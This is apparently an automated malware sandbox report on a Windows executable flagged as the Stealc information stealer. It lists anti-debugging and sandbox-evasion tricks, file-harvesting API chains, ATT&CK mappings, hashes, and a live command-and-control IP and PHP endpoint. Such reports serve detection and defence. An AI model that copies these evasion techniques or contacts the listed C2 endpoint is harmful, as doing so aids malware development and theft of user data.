Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EEE7 second address: 88EEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F76A4C93C1Ch 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F6DF second address: 88F6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F76A540C8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88F6E9 second address: 88F6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895ABD second address: 895AD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007F76A540C8D6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jo 00007F76A540C8D6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895AD5 second address: 895AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A4C93C21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0236 second address: 4EF024C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A540C8DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF024C second address: 4EF0251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02D7 second address: 4EF02F1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 26119F5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov bh, cl 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e mov dx, si 0x00000011 mov dh, al 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02F1 second address: 4EF02F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, si 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02F9 second address: 4EF032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76A540C8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F76A540C8DCh 0x00000012 add ecx, 5F733D48h 0x00000018 jmp 00007F76A540C8DBh 0x0000001d popfd 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 611ACF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60F1FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 83953C instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_003C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_003C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003B16D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003B1160 GetSystemInfo,ExitProcess,

0_2_003B1160

Source: file.exe, file.exe, 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1730462584.00000000010E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1730462584.00000000010B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13532
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13551
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13535
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13547
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13587

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003B45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003B45C0

Source: C:\Users\user\Desktop\file.exe

0_2_003C9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9750 mov eax, dword ptr fs:[00000030h]

0_2_003C9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_003C7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6392, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_003C9600

Source: file.exe, file.exe, 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_003C7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_003C6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_003C7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_003C7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1689272998.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1689272998.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpA	file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php0	file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37s	file.exe, 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528602
Start date and time:	2024-10-08 04:11:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94766212160313
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'806'336 bytes
MD5:	dcbcbb7abc2724683097cb469b37c429
SHA1:	785d9b8ecba52caae4fb1bec9761d5bb1cbff066
SHA256:	d9efe6204be6eab5b04dc98ad054b27df5661cba2a11bc508ee27711686eb918
SHA512:	c41d531732d3c5c2efc5f2a476816c3952534521c65d96e575e404469c951a4ee70bb10fbbe74ea273c681e85fd3c15b254b90e3b0e39dce982654f02d80c521
SSDEEP:	49152:DUq93md4tTBOhbMdvShQ0ff2/aPox1MkxqTHJonCRIH3:D340OhbMdajf2SPSek4hKX
TLSH:	098533141A51D531E5CA47B53E93DB29A72889869E536FE6ED1D3C2988CF78CF08F0C8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa85000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F76A46E166Ah
movd mm3, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [ecx], cl
or al, byte ptr [eax]
add byte ptr [edx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	c218226f3fb5b724ce0165d15e640f89	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x293000	0x200	dc4cce6e4f6a539d1dce2c46a9aa0a25	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gwvifbyy	0x4f1000	0x193000	0x192e00	979a043ac4bda5fdcf050a6c68b1176c	False	0.9949278137604716	data	7.95408378221177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nlwliywy	0x684000	0x1000	0x400	9089eb8c334484dad627d1b3158649b8	False	0.6962890625	data	5.595753723108991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x685000	0x3000	0x2200	61dafe41f00d2ef61e1212fd5d99a174	False	0.06675091911764706	DOS executable (COM)	0.7732233544526635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T04:12:02.369390+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 04:12:01.420675993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 04:12:01.425749063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 04:12:01.425858021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 04:12:01.426021099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 04:12:01.430989027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 04:12:02.136774063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 04:12:02.137192965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 04:12:02.140467882 CEST	49730	80	192.168.2.4	185.215.113.37
